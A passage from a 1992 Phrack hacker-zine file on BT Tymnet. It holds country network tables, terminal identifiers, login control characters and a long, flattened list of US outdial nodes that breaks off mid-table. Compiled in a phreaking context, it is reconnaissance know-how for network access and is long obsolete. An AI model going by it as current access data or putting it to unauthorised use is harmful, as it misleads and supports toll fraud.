UAE | || 4243/EMDAN >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

U. Kingdom | X || BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

U. Kingdom | || 2350/Mercury >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

U. Kingdom | || 2351/Mercury >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

U. Kingdom | || 2341/BTI IPSS >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

U. Kingdom | || 2355/JAIS‑Japan >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

U. Kingdom | || 2342/BT PSS >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

U. Kingdom | || 2352/Hull >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

United States | X || 3106/BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Uruguay | || 7482/Antel >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

USSR | || 2502/Iasnet >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

U.S. Virgin I | || 3320/UDTS‑I >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Vanuatu | || 5410/Viapac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Yugoslavia | || 2201/Yupac >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Zimbabwe | || 6482/Zimnet >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

F. Terminal Identifiers

~~~~~~~~~~~~~~~~~~~~

A terminal identifier indicates to the network the characteristics of your terminal. Most terminals can use the "A" terminal identifier. However, if your terminal requires a carriage return delay, for example, then the "I" or the "E" identifier should be used.

At 'please type your terminal identifier' please enter:

A for PC's and CRT terminals (SAVE parity)

C for 300 baud Impact Printer Terminals

E for Thermal Printer Terminals like the SILENT 700 series

F for BETA transaction terminals

G for the GE Terminet at 1200 baud

I for 300 baud Thermal Printer Terminals

K for EVEN/ODD parity terminals (future implementation)

O for MARK/SPACE parity terminals (BBS access)

Y for 300 baud Transaction terminals

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

G. Login Options

~~~~~~~~~~~~~

At the 'please log in:' prompt the user can specify control characters to set the network to the needs of the user. For example when you are connected to a database and the data is coming in to fast you can backpressure the data by typing ^S. The network however will only react on this command if you specified ^R at the logon step.

^E ‑ control E ‑ Enter Full Duplex mode (future implementation) ^H ‑ control H ‑ Enter Half Duplex mode ‑ disable echo!!

^I ‑ control I ‑ Build optimal circuit for Interactive traffic ^P ‑ control P ‑ Force EVEN Parity

^R ‑ control R ‑ Enable host backpressure X‑on X‑off

^U ‑ control U ‑ Force terminal data to uppercase

^V ‑ control V ‑ Build optimal circuit for Volume traffic

^W ‑ control W ‑ Erase login up to last terminator

^X ‑ control X ‑ Enable terminal backpressure X‑on X‑off

^Z ‑ control Z ‑ Disconnect/Logoff

ESC ‑ escape ‑ Discard login and get NEW please log in prompt

BT Tymnet, Part 2 of 3

==Phrack Inc.==

Volume Four, Issue Forty, File 9 of 14

_________________

||

|| BT Tymnet ||

|| British Telecom ||

||

|| Part 2 of 3 ||

||

|| Presented by Toucan Jones ||

||

|| August 1, 1992 ||

||_________________

Welcome Back to Tymnet!

PART 1

A. BT Tymnet Access Location Index

B. BT‑GNS Access Within Regional Bell Operating Companies 1. Bell Atlantic

2. BellSouth

3. Pacific Bell

4. Southwestern Bell

5. Southern New England Telephone

C. Database or Timesharing Companies on Tymnet

D. Service Classifications For Database or Timesharing Companies Using Tymnet E. Summary of Global Network Services By Country

F. Terminal Identifiers

G. Login Options

PART 2

H. BT‑GNS Worldwide Asynchronus Outdial Service

PART 3

I. BT‑GNS Worldwide Access Sorted By Node

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

H. BT‑GNS Worldwide Asynchronus Outdial Service

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DIALUP ACCESS M

‑ OUTDIAL ‑ PROV 100's bps N HOST CITY ST CNTRY DENS 3 12 24 96 AREA CODE P COMMENTS

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑ ‑‑‑‑‑ ‑‑‑‑

7651 Anniston AL USA LOW B B C 205 Y 4101 Birmingham AL USA HIGH B B C 205 Y 2517 Dothan AL USA LOW B B C 205 Y 5641 Florence AL USA LOW B B C 205 Y 8287 Gadsden AL USA LOW B B C 205 Y 737 Huntsville AL USA MED B B C 205 Y 8829 Mobile AL USA MED B B C 205 Y 3245 Montgomery AL USA LOW B B C 205 Y 2439 Northport AL USA LOW B B C 205 Y 1751 Opelika AL USA LOW B B C 205 Y 2439 Tuscaloosa/Northport AL USA LOW B B C 205 Y 15360 Fayetteville AR USA LOW B B C 501 Y 1297 Ft. Smith AR USA LOW B B C 501 Y 2725 Hot Springs AR USA LOW B B C 501 Y 2794 Jonesboro AR USA LOW B B C 501 Y 10690 Little Rock AR USA MED B B C 501 Y 10690 Little Rock AR USA MED B B C 501 Y 7380 Pine bluff AR USA LOW B B C 501 Y 15360 Springdale/Fayettevl AR USA LOW B B C 501 Y 6112 Flagstaff AZ USA LOW B B C 602 Y 9532 Mesa/Phoenix AZ USA HIGH B B C 602 Y 9532 Mesa/Phoenix AZ USA HIGH B B C 602 Y 9532 Phoenix AZ USA HIGH B B C 602 Y 9532 Phoenix AZ USA HIGH B B C 602 Y 3232 Tucson AZ USA MED B B C 602 Y 3232 Tucson AZ USA MED B B C 602 Y 3530 Yuma AZ USA LOW B B C 602 Y 8963 Alameda/Oakland CA USA HIGH B B C 510 Y 2940 Alhambra CA USA MED B B C 818 Y 2940 Alhambra CA USA MED B B C 818 Y 9184 Anaheim/Newprt Beach CA USA HIGH B B C 714 Y 9184 Anaheim/Newprt Beach CA USA HIGH B B C 714 Y 4457 Antioch CA USA LOW B B C 510 Y 2940 Arcadia/Alhambra CA USA MED B B C 818 Y 2940 Arcadia/Alhambra CA USA MED B B C 818 Y 3664 Bakersfield CA USA LOW B B C 805 Y 9182 Belmont/Redwood City CA USA HIGH B B C 415 Y 8963 Berkeley/Oakland CA USA HIGH B B C 510 Y 9206 Beverly Hills/Shr Ok CA USA MED B B C 818 Y 2841 Burbank CA USA LOW B B C 818 Y 3486 Burlingame/So. S.F. CA USA LOW B B C 415 Y 9206 Canoga Park/Shrm Oak CA USA MED B B C 818 Y 7859 Cathedral City CA USA LOW B B C 619 Y 7801 Chico CA USA LOW B B C 916 Y 6294 Colton CA USA MED B B C 714 Y 9202 Concord/Walnut Creek CA USA LOW B B C 510 Y 9202 Concord/Walnut Creek CA USA LOW B B C 510 Y 5415 Corona CA USA LOW B B C 714 Y 4309 Covina/Diamond Bar CA USA MED B B C 714 Y 7276 Davis CA USA LOW B B C 916 Y 4309 Diamond Bar CA USA MED B B C 714 Y 06824 El Centro CA USA LOW B B C 619 Y 2940 El Monte/Alhambra CA USA MED B B C 818 Y 2940 El Monte/Alhambra CA USA MED B B C 818 Y 9203 El Segundo CA USA MED B B C 310 Y 09203 El Segundo CA USA MED B B C 310 Y 4304 Escondido/Vista CA USA MED B B C 619 Y 981 Eureka CA USA LOW B B C 707 Y 03513 Fairfield CA USA LOW B B C 707 Y 3513 Fairfield CA USA LOW B B C 707 Y 7399 Fremont CA USA MED B B C 510 Y 3996 Fresno CA USA LOW B B C 209 Y 3996 Fresno CA USA LOW B B C 209 Y 2841 Glendale/Burbank CA USA LOW B B C 818 Y 8963 Hayward/Oakland CA USA HIGH B B C 510 Y 3173 Inglewood/Vernon CA USA HIGH B B C 213 Y 3173 Inglewood/Vernon CA USA HIGH B B C 213 Y 3173 Inglewood/Vernon CA USA HIGH B B C 213 Y 3173 Inglewood/Vernon CA USA HIGH B B C 213 Y 9184 Irvine/Newport Beach CA USA HIGH B B C 714 Y 9184 Irvine/Newport Beach CA USA HIGH B B C 714 Y 5991 Lancaster CA USA LOW B B C 805 Y 9205 Long Beach CA USA MED B B C 310 Y 6616 Los Alamos/St. Maria CA USA LOW B B C 805 Y 6450 Los Altos/San Jose CA USA HIGH B B C 408 Y 6450 Los Altos/San Jose CA USA HIGH B B C 408 Y 6450 Los Altos/San Jose CA USA HIGH B B C 408 Y 3173 Los Angeles/Vernon CA USA HIGH B B C 213 Y 3173 Los Angeles/Vernon CA USA HIGH B B C 213 Y 3173 Los Angeles/Vernon CA USA HIGH B B C 213 Y 3173 Los Angeles/Vernon CA USA HIGH B B C 213 Y 9203 Mar Vista/El Segundo CA USA MED B B C 310 Y 9203 Mar Vista/El Segundo CA USA MED B B C 310 Y 9203 MarinaDelRey/El Sgnd CA USA MED B B C 310 Y 03501 Marysville CA USA LOW B B C 916 Y 14085 Merced CA USA LOW B B C 209 Y 2120 Modesto CA USA LOW B B C 209 Y 10401 Monterey CA USA LOW B B C 408 Y 10401 Monterey CA USA LOW B B C 408 Y 5134 Moorpark CA USA LOW B B C 805 Y 13891 Napa CA USA LOW B B C 707 Y 9184 Newport Beach CA USA HIGH B B C 714 Y 9184 Newport Beach CA USA HIGH B B C 714 Y 9205 Norwalk/Long Beach CA USA MED B B C 310 Y 8963 Oakland CA USA HIGH B B C 510 Y 4309 Ontario/Diamond Bar CA USA MED B B C 714 Y 4112 Oxnard/Port Hueneme CA USA MED B B C 805 Y 9202 Pacheco/Walnut Creek CA USA LOW B B C 510 Y 9202 Pacheco/Walnut Creek CA USA LOW B B C 510 Y 7859 Palm Sprngs/Cath Cty CA USA LOW B B C 619 Y 9182 Palo Alto/Redwd City CA USA HIGH B B C 415 Y 2940 Pasadena/Alhambra CA USA MED B B C 818 Y 2940 Pasadena/Alhambra CA USA MED B B C 818 Y 9202 Pleasnthill/Walnt Ck CA USA LOW B B C 510 Y 9202 Pleasnthill/Walnt Ck CA USA LOW B B C 510 Y 4309 Pomona/Diamond Bar CA USA MED B B C 714 Y 4112 Port Hueneme CA USA MED B B C 805 Y 5416 Poway CA USA LOW B B C 619 Y 4972 Redding CA USA LOW B B C 916 Y 9182 Redwood City CA USA HIGH B B C 415 Y 6294 Riverside/Colton CA USA MED B B C 714 Y 9179 Sacramento CA USA HIGH B B C 916 Y 3655 Salinas CA USA LOW B B C 408 Y 6294 San Bernadino/Colton CA USA MED B B C 714 Y 4447 San Clemente CA USA LOW B B C 714 Y 9183 San Diego CA USA HIGH B B C 619 Y 9183 San Diego CA USA HIGH B B C 619 Y 9206 San Fernando/Shr Oak CA USA MED B B C 818 Y 9533 San Francisco CA USA HIGH B B C 415 Y 9533 San Francisco CA USA HIGH B B C 415 Y 9533 San Francisco CA USA HIGH B B C 415 Y 6450 San Jose CA USA HIGH B B C 408 Y 6450 San Jose CA USA HIGH B B C 408 Y 6450 San Jose CA USA HIGH B B C 408 Y 2979 San Luis Obispo CA USA LOW B B C 805 Y 3486 San Mateo/So. S.F. CA USA LOW B B C 415 Y 9205 San Pedro/Long Beach CA USA MED B B C 310 Y 8094 San Rafael CA USA LOW B B C 415 Y 9184 Santa Ana/Newprt Bch CA USA HIGH B B C 714 Y 9184 Santa Ana/Newprt Bch CA USA HIGH B B C 714 Y 6295 Santa Barbara CA USA MED B B C 805 Y 6450 Santa Clara/San Jose CA USA HIGH B B C 408 Y 6450 Santa Clara/San Jose CA USA HIGH B B C 408 Y 6450 Santa Clara/San Jose CA USA HIGH B B C 408 Y 3182 Santa Cruz CA USA MED B B C 408 Y 6116 Santa Maria CA USA LOW B B C 805 Y 9203 Santa Monica/El Sgnd CA USA MED B B C 310 Y 4111 Santa Rosa CA USA LOW B B C 707 Y 9206 Sherman Oaks CA USA MED B B C 818 Y 3486 So. San Francisco CA USA LOW B B C 415 Y 3208 Stockton CA USA LOW B B C 209 Y 6450 Sunnyvale/San Jose CA USA HIGH B B C 408 Y 6450 Sunnyvale/San Jose CA USA HIGH B B C 408 Y 6450 Sunnyvale/San Jose CA USA HIGH B B C 408 Y 14338 Upland CA USA LOW B B C 714 Y 3830 Vallejo CA USA LOW B B C 707 Y 9206 Van Nuys/Sherman Oak CA USA MED B B C 818 Y 4112 Ventura/Port Hueneme CA USA MED B B C 805 Y 3173 Vernon CA USA HIGH B B C 213 Y 3173 Vernon CA USA HIGH B B C 213 Y 3173 Vernon CA USA HIGH B B C 213 Y 3173 Vernon CA USA HIGH B B C 213 Y 3598 Visalia CA USA LOW B B C 209 Y 4304 Vista CA USA MED B B C 619 Y 4309 W.Covina/Diamond Bar CA USA MED B B C 714 Y 9202 Walnut Creek CA USA LOW B B C 510 Y 9202 Walnut Creek CA USA LOW B B C 510 Y 9206 West L.A./Shrmn Oaks CA USA MED B B C 818 Y 7276 Woodland/Davis CA USA LOW B B C 916 Y 2584 Aurora/Denver CO USA HIGH B B C 303 Y 2584 Aurora/Denver CO USA HIGH B B C 303 Y 2584 Boulder/Denver CO USA HIGH B B C 303 Y 2584 Boulder/Denver CO USA HIGH B B C 303 Y 2660 Colorado Springs CO USA MED B B C 719 Y 2660 Colorado Springs CO USA MED B B C 719 Y 2584 Denver CO USA HIGH B B C 303 Y 2584 Denver CO USA HIGH B B C 303 Y 8737 Fort Collins CO USA LOW B B C 303 Y 6115 Grand Junction CO USA LOW B B C 303 Y 7743 Greeley CO USA LOW B B C 303 Y 14753 Pueblo CO USA LOW B B C 719 Y 9128 Bloomfield CT USA HIGH B B C 203 Y 9128 Bloomfield CT USA HIGH B B C 203 Y 6472 Bridgeport CT USA MED B B C 203 Y 7962 Fairfield/Westport CT USA MED B B C 203 Y 9128 Hartford/Bloomfield CT USA HIGH B B C 203 Y 3165 Meriden CT USA LOW B B C 203 Y 3165 Middletown/Meriden CT USA LOW B B C 203 Y 11036 New Haven CT USA MED B B C 203 Y 7955 New London CT USA LOW B B C 203 Y 7962 Norwalk/Westport CT USA MED B B C 203 Y 7955 Norwich/New London CT USA LOW B B C 203 Y 8071 Somers CT USA LOW B B C 203 Y 9129 Stamford CT USA HIGH B B C 203 Y 6472 Stratford/Bridgeport CT USA MED B B C 203 Y 3073 Waterbury CT USA LOW B B C 203 Y 7962 Westport CT USA MED B B C 203 Y 2262 Washington/Fairfax DC USA HIGH B B C 703 Y 2262 Washington/Fairfax DC USA HIGH B B C 703 Y 2262 Washington/Fairfax DC USA HIGH B B C 703 Y 2262 Washington/Fairfax DC USA HIGH B B C 703 Y 2262 Washington/Fairfax DC USA HIGH B B C 703 Y 12900 Dover DE USA LOW B B C 302 Y 10800 Georgetown DE USA LOW B B C 302 Y 1784 Newark/Wilmington DE USA MED B B C 302 Y 1784 Wilmington DE USA MED B B C 302 Y 5656 Boca Raton/Delray FL USA LOW B B C 407 Y 3326 Boyntn Bch/WPalm Bch FL USA MED B B C 407 Y 4637 Clearwater FL USA MED B B C 813 Y 3720 Cocoa FL USA LOW B B C 407 Y 3720 Cocoa FL USA LOW B B C 407 Y 5656 Delray FL USA LOW B B C 407 Y 9453 Fort Meyers FL USA LOW B B C 813 Y 4701 Fort Pierce FL USA LOW B B C 407 Y 7123 Ft. Lauderdale FL USA MED B B C 305 Y 10351 Gainesville FL USA LOW B B C 904 Y 7123 Hollywd/Ft. Laudrdle FL USA MED B B C 305 Y 5797 Jacksonville FL USA MED B B C 904 Y 5797 Jacksonville FL USA MED B B C 904 Y 09914 Key West FL USA LOW B B C 305 Y 9900 Kissimmee FL USA LOW B B C 407 Y 820 Lakeland FL USA LOW B B C 813 Y 7096 Longwood/Orlando FL USA MED B B C 407 Y 3720 Melbourne/Cocoa FL USA LOW B B C 407 Y 3720 Melbourne/Cocoa FL USA LOW B B C 407 Y 3720 Merrit Isle/Cocoa FL USA LOW B B C 407 Y 3720 Merrit Isle/Cocoa FL USA LOW B B C 407 Y 6582 Miami FL USA HIGH B B C 305 Y 6582 Miami FL USA HIGH B B C 305 Y 11124 Naples FL USA LOW B B C 813 Y 7220 Ocala FL USA LOW B B C 904 Y 7096 Orlando FL USA MED B B C 407 Y 10699 Ormond Beach FL USA LOW B B C 904 Y 3407 Panama City FL USA LOW B B C 904 Y 3193 Pensacola FL USA LOW B B C 904 Y 7123 Pompno Bch/Fr. Ldrdl FL USA MED B B C 305 Y 9902 Port St. Lucie FL USA LOW B B C 407 Y 3112 Sarasota FL USA LOW B B C 813 Y 3112 Sarasota FL USA LOW B B C 813 Y 4637 St. Petersbrg/Clrwtr FL USA MED B B C 813 Y 12790 Tallahassee FL USA MED B B C 904 Y 5518 Tampa FL USA HIGH B B C 813 Y 6181 Vero Beach FL USA LOW B B C 407 Y 3326 West Palm Beach FL USA MED B B C 407 Y 820 Winterhaven/Lakeland FL USA LOW B B C 813 Y 5774 Albany GA USA LOW B B C 912 Y 8795 Atlanta/Doraville GA USA HIGH B B C 404 Y 8795 Atlanta/Doraville GA USA HIGH B B C 404 Y 8795 Atlanta/Doraville GA USA HIGH B B C 404 Y 433 Augusta/Martinez GA USA LOW B B C 404 Y 433 Augusta/Martinez GA USA LOW B B C 404 Y 14525 Columbus GA USA LOW B B C 404 Y 8795 Doraville GA USA HIGH B B C 404 Y 8795 Doraville GA USA HIGH B B C 404 Y 8795 Doraville GA USA HIGH B B C 404 Y 3711 Macon/Warner Robins GA USA LOW B B C 912 Y 8795 Marietta/Doraville GA USA HIGH B B C 404 Y 8795 Marietta/Doraville GA USA HIGH B B C 404 Y 8795 Marietta/Doraville GA USA HIGH B B C 404 Y 433 Martinez GA USA LOW B B C 404 Y 8795 Norcross/Doraville GA USA HIGH B B C 404 Y 8795 Norcross/Doraville GA USA HIGH B B C 404 Y 8795 Norcross/Doraville GA USA HIGH B B C 404 Y 1386 Rome GA USA LOW B B C 404 Y 3327 Savannah GA USA LOW B B C 912 Y 3711 Warner Robins GA USA LOW B B C 912 Y 1745 Ames IA USA LOW B B C 515 Y 5964 Cedar Falls/Waterloo IA USA LOW B B C 319 Y 8755 Cedar Rapids IA USA LOW B B C 319 Y 5296 Davenport/RockIsland IA USA MED B B C 309 Y 9854 Des Moines IA USA MED B B C 515 Y 3275 Dubuque IA USA LOW B B C 319 Y 5290 Iowa City IA USA LOW B B C 319 Y 5374 Marshalltown IA USA LOW B B C 515 Y 08985 Ottomwa IA USA LOW B B C 515 Y 14315 Sioux City IA USA LOW B B C 712 Y 5964 Waterloo IA USA LOW B B C 319 Y 200 Boise ID USA MED B B C 208 Y 10239 Coeur D'Alene ID USA LOW B B C 208 Y 3660 Idaho Falls ID USA LOW B B C 208 Y 3207 Pocatello ID USA LOW B B C 208 Y 1436 Twin Falls ID USA LOW B B C 208 Y 11496 Bloomington IL USA LOW B B C 309 Y 13595 Bradley IL USA LOW B B C 815 Y 9753 Champaign/Urbana IL USA LOW B B C 217 Y 8257 Chicago IL USA HIGH B B C 312 Y 8257 Chicago IL USA HIGH B B C 312 Y 4630 Cicero/Maywood IL USA LOW B B C 708 Y 1119 Danville IL USA LOW B B C 217 Y 8900 Decatur IL USA LOW B B C 217 Y 8944 Downrs Grove/Gln Eln IL USA MED B B C 708 Y 8944 Downrs Grove/Gln Eln IL USA MED B B C 708 Y 3905 Elgin IL USA LOW B B C 708 Y 4630 Forest Park/Maywood IL USA LOW B B C 708 Y 2514 Freeport IL USA LOW B B C 815 Y 8944 Glen Ellyn IL USA MED B B C 708 Y 8944 Glen Ellyn IL USA MED B B C 708 Y 14576 Joliet IL USA LOW B B C 815 Y 13595 Kankakee/Bradley IL USA LOW B B C 815 Y 780 Lake Bluff IL USA LOW B B C 708 Y 7005 Lake Zurich/Palatine IL USA LOW B B C 708 Y 13640 Lansing IL USA LOW B B C 708 Y 780 Librtyvle/Lake Bluff IL USA LOW B B C 708 Y 4630 Maywood IL USA LOW B B C 708 Y 10945 Northfield IL USA LOW B B C 708 Y 3001 O'Fallon IL USA LOW B B C 618 Y 7005 Palatine IL USA LOW B B C 708 Y 3614 Peoria IL USA LOW B B C 309 Y 14553 Quincy IL USA LOW B B C 217 Y 5296 Rock Island IL USA MED B B C 309 Y 6048 Rockford IL USA MED B B C 815 Y 5403 Springfield IL USA MED B B C 217 Y 9753 Urbana IL USA LOW B B C 217 Y 8944 Wheaton/Glen Ellyn IL USA MED B B C 708 Y 8944 Wheaton/Glen Ellyn IL USA MED B B C 708 Y 9323 Bloomington IN USA LOW B B C 812 Y 2444 Elkhart IN USA LOW B B C 219 Y 3426 Evansville IN USA LOW B B C 812 Y 3423 Ft. Wayne IN USA LOW B B C 219 Y 14286 Gary IN USA LOW B B C 219 Y 14286 Gary IN USA LOW B B C 219 Y 14286 Hammond/Gary IN USA LOW B B C 219 Y 14286 Hammond/Gary IN USA LOW B B C 219 Y 14286 Highland/Gary IN USA LOW B B C 219 Y 14286 Highland/Gary IN USA LOW B B C 219 Y 9349 Indianapolis IN USA HIGH B B C 317 Y 2646 Kokomo IN USA LOW B B C 317 Y 3157 Lafayette IN USA LOW B B C 317 Y 4632 Marion IN USA LOW B B C 317 Y 5129 Mishawaka/South Bend IN USA MED B B C 219 Y 5129 South Bend IN USA MED B B C 219 Y 2893 Terre Haute IN USA LOW B B C 812 Y 8615 Kansas City/Mission KS USA HIGH B B C 913 Y 8615 Kansas City/Mission KS USA HIGH B B C 913 Y 14347 Lawrence KS USA LOW B B C 913 Y 3408 Leavenworth KS USA LOW B B C 913 Y 2799 Manhattan KS USA LOW B B C 913 Y 8615 Mission KS USA HIGH B B C 913 Y 8615 Mission KS USA HIGH B B C 913 Y 3416 Salina KS USA LOW B B C 913 Y 8615 Shawnee/Mission KS USA HIGH B B C 913 Y 8615 Shawnee/Mission KS USA HIGH B B C 913 Y 1672 Topeka KS USA LOW B B C 913 Y 8013 Wichita KS USA MED B B C 316 Y 16213 Bowling Green KY USA LOW B B C 502 Y 3718 Frankfort KY USA LOW B B C 502 Y 9987 Lexington KY USA MED B B C 606 Y 8678 Louisville KY USA MED B B C 502 Y 1087 Owensboro KY USA LOW B B C 502 Y 02291 Paducah KY USA LOW B B C 502 Y 14288 Alexandria LA USA LOW B B C 318 Y 6999 Baton Rouge LA USA MED B B C 504 Y 6999 Baton Rouge LA USA MED B B C 504 Y 8525 Lafayette LA USA LOW B B C 318 Y 15174 Lake Charles LA USA LOW B B C 318 Y 2480 Monroe LA USA LOW B B C 318 Y 3654 New Orleans LA USA HIGH B B C 504 Y 03654 New Orleans LA USA HIGH B B C 504 Y 03654 New Orleans LA USA HIGH B B C 504 Y 3539 Shreveport LA USA LOW B B C 318 Y 10404 Slidell LA USA LOW B B C 504 Y 7044 Bedford MA USA LOW B B C 617 Y 8796 Boston MA USA HIGH B B C 617 Y 8796 Boston MA USA HIGH B B C 617 Y 753 Brockton/Randolph MA USA LOW B B C 617 Y 8796 Cambridge/Boston MA USA HIGH B B C 617 Y 8796 Cambridge/Boston MA USA HIGH B B C 617 Y 3003 Fall River/Somerset MA USA LOW B B C 508 Y 10677 Fitchburg/Leominster MA USA LOW B B C 508 Y 10148 Groton MA USA LOW B B C 508 Y 3948 Holyoke/Springfield MA USA MED B B C 413 Y 3948 Holyoke/Springfield MA USA MED B B C 413 Y 3948 Holyoke/Springfield MA USA MED B B C 413 Y 11063 Kingston MA USA LOW B B C 617 Y 10020 Lawrence MA USA LOW B B C 508 Y 10677 Leominster MA USA LOW B B C 508 Y 531 Lowell MA USA LOW B B C 508 Y 07745 Lynn MA USA LOW B B C 617 Y 4001 Manchester MA USA LOW B B C 508 Y 432 Marlborough MA USA LOW B B C 508 Y 4216 New Bedford MA USA LOW B B C 508 Y 2478 Pittsfield MA USA LOW B B C 413 Y 753 Randolph MA USA LOW B B C 617 Y 3003 Somerset MA USA LOW B B C 508 Y 3948 Springfield MA USA MED B B C 413 Y 3948 Springfield MA USA MED B B C 413 Y 3948 Springfield MA USA MED B B C 413 Y 11108 Taunton MA USA LOW B B C 508 Y 7044 Woburn/Bedford MA USA LOW B B C 617 Y 3456 Worcester MA USA LOW B B C 508 Y 14437 Aberdeen MD USA LOW B B C 410 Y 10587 Annapolis MD USA LOW B B C 410 Y 4600 Baltimore MD USA HIGH B B C 410 Y 4600 Baltimore MD USA HIGH B B C 410 Y 2262 Bethesda/Fairfax MD USA HIGH B B C 703 Y 2262 Bethesda/Fairfax MD USA HIGH B B C 703 Y 2262 Bethesda/Fairfax MD USA HIGH B B C 703 Y 2262 Bethesda/Fairfax MD USA HIGH B B C 703 Y 2262 Bethesda/Fairfax MD USA HIGH B B C 703 Y 999 Cumberland MD USA LOW B B C 301 Y 10832 Frederick/Myersville MD USA LOW B B C 301 Y 10832 Hagerstown/Myersvill MD USA LOW B B C 301 Y 10832 Myersville MD USA LOW B B C 301 Y 1758 Rockville MD USA LOW B B C 301 Y 10209 Salisbury MD USA LOW B B C 410 Y 9686 Auburn ME USA LOW B B C 207 Y 7486 Augusta ME USA LOW B B C 207 Y 10860 Bangor ME USA LOW B B C 207 Y 9686 Lewiston/Auburn ME USA LOW B B C 207 Y 4217 Portland ME USA LOW B B C 207 Y 07252 Presque Isle ME USA LOW B B C 207 Y 6438 Ann Arbor MI USA MED B B C 313 Y 10147 Battle Creek MI USA LOW B B C 616 Y 4231 Benton Harbor MI USA LOW B B C 616 Y 894 Burton MI USA LOW B B C 313 Y 4316 Cadillac MI USA LOW B B C 616 Y 8794 Detroit MI USA HIGH B B C 313 Y 8794 Detroit MI USA HIGH B B C 313 Y 894 Flint/Burton MI USA LOW B B C 313 Y 4766 Freeland MI USA LOW B B C 517 Y 4017 Grand Rapids MI USA MED B B C 616 Y 5747 Jackson MI USA LOW B B C 517 Y 3195 Kalamazoo MI USA MED B B C 616 Y 9992 Lansing MI USA MED B B C 517 Y 7225 Marquette MI USA LOW B B C 906 Y 4766 Midland/Freeland MI USA LOW B B C 517 Y 4357 Muskegon MI USA LOW B B C 616 Y 4847 Plymouth MI USA MED B B C 313 Y 10342 Pontiac MI USA LOW B B C 313 Y 4620 Port Huron MI USA LOW B B C 313 Y 10754 Roseville MI USA LOW B B C 313 Y 4766 Saginaw/Freeland MI USA LOW B B C 517 Y 3424 Southfield MI USA MED B B C 313 Y 4231 St. Joe/Benton Hrbr MI USA LOW B B C 616 Y 6066 Traverse City MI USA LOW B B C 616 Y 10933 Duluth MN USA LOW B B C 218 Y 13488 Hibbing MN USA LOW B B C 218 Y 1648 Mankato MN USA LOW B B C 507 Y 3494 Minneapolis MN USA HIGH B B C 612 Y 3494 Minneapolis MN USA HIGH B B C 612 Y 10597 Rochester MN USA LOW B B C 507 Y 10597 Rochester MN USA LOW B B C 507 Y 14283 St. Cloud MN USA LOW B B C 612 Y 3494 St. Paul/Minneapolis MN USA HIGH B B C 612 Y 3494 St. Paul/Minneapolis MN USA HIGH B B C 612 Y 8978 Bridgeton/St. Louis MO USA HIGH B B C 314 Y 8978 Bridgeton/St. Louis MO USA HIGH B B C 314 Y 8856 Cape Girardeau MO USA LOW B B C 314 Y 6017 Columbia MO USA LOW B B C 314 Y 8978 Hazelwood MO USA HIGH B B C 314 Y 8615 Independence/Mission MO USA HIGH B B C 913 Y 8615 Independence/Mission MO USA HIGH B B C 913 Y 2564 Jefferson City MO USA LOW B B C 314 Y 1928 Joplin MO USA LOW B B C 417 Y 8615 Kansas City/Mission MO USA HIGH B B C 913 Y 8615 Kansas City/Mission MO USA HIGH B B C 913 Y 6182 Rolla MO USA LOW B B C 314 Y 5681 Springfield MO USA LOW B B C 417 Y 6192 St. Joseph MO USA LOW B B C 816 Y 8978 St. Louis MO USA HIGH B B C 314 Y 8978 St. Louis MO USA HIGH B B C 314 Y 14342 Gulfport MS USA LOW B B C 601 Y 1164 Hattiesburg MS USA LOW B B C 601 Y 6301 Jackson MS USA LOW B B C 601 Y 6301 Jackson MS USA LOW B B C 601 Y 6491 Meridian MS USA LOW B B C 601 Y 14882 Pascagoula MS USA LOW B B C 601 Y 9901 Tupelo MS USA LOW B B C 601 Y 10874 Vicksburg MS USA LOW B B C 601 Y 3504 Billings MT USA LOW B B C 406 Y 7946 Bozeman MT USA LOW B B C 406 Y 7862 Butte MT USA LOW B B C 406 